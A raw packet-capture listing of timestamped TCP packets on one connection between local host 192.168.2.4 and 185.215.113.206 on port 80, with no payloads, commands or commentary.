Oct 28, 2024 06:27:25.579328060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579348087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579359055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579380035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579391003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579401016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579430103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579458952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579489946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579529047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579545975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579556942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579581976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579590082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579592943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579605103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579617023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579644918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579653025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579691887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579722881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579732895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579749107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579765081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579767942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579777002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579786062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579792976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579818010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579844952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579857111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579899073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.579953909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579963923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579977036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.579988956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580001116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580002069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.580013037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580027103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.580046892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.580105066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580116987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580133915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580144882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580147028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.580157042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580178022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.580204010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.580219984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580240011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580264091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.580282927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580288887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.580322981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.580337048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580348015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580363989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580375910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.580380917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.580404997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.622926950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.622942924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.622953892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.623078108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.698705912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.698729992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.698741913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.698762894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.698785067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.698856115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.698873997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.698894024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.698905945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.698968887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.698987007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.698999882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699006081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699011087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699023008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699023962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699035883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699040890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699064970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699086905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699095964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699109077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699120045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699130058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699147940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699157000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699212074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699222088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699232101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699244022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699244976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699259996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699280024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699306965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699322939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699332952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699345112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699346066 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699358940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699371099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699378014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699387074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699398041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699398041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699410915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699420929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699429035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699456930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699459076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699491024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699513912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699523926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699536085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699548006 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699548006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699569941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699590921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699604988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699639082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699645996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699649096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699668884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699678898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699680090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699690104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699713945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699726105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699748039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699783087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699791908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699826002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699870110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699881077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699891090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699903011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699908972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699915886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699927092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.699932098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.699958086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700047016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700059891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700078964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700081110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700090885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700103045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700103045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700114012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700118065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700128078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700136900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700146914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700160027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700161934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700181007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700203896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700257063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700268030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700278044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700290918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700290918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700301886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700311899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700314045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700337887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700352907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700361967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700397968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700417995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700450897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700500011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700510025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700520992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700534105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700536966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700547934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700560093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700577974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700656891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700669050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700680017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700694084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700709105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700743914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700767040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700778008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700788975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700799942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700803041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700813055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700823069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700828075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700839996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700850964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700856924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700884104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700886011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700897932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700922966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.700956106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.700994015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.701172113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.701184988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.701195002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.701208115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.701219082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.701237917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.743377924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.743396044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.743406057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.743417025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.743431091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.743446112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819221020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819235086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819246054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819297075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819303036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819308043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819324017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819327116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819355965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819374084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819386959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819389105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819405079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819416046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819418907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819422960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819444895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819478989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819505930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819530964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819541931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819551945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819552898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819564104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819575071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819587946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819598913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819600105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819628954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819633961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819639921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819669962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819688082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819698095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819704056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819709063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819762945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819792986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819802999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819840908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819863081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819873095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819894075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819902897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819935083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.819935083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819946051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.819976091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820014000 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820024967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820041895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820055008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820056915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820081949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820101976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820108891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820121050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820137024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820148945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820156097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820168018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820171118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820179939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820194960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820207119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820208073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820218086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820225954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820229053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820238113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820252895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820262909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820409060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820420027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820430040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820442915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820450068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820456028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820475101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820487022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820516109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820532084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820545912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820553064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820559025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820565939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820583105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820591927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820611954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820650101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820679903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820689917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820704937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820723057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820729017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820734978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820760965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820775032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820775986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820787907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820810080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820822954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820852041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820867062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820878029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820889950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820890903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820903063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.820907116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820914984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.820940971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.821019888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.821055889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.821069002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.821094036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.821187019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.821196079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.821207047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.821218014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.821228981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:25.821229935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:25.821255922 CET	49758	80	192.168.2.4	185.215.113.206
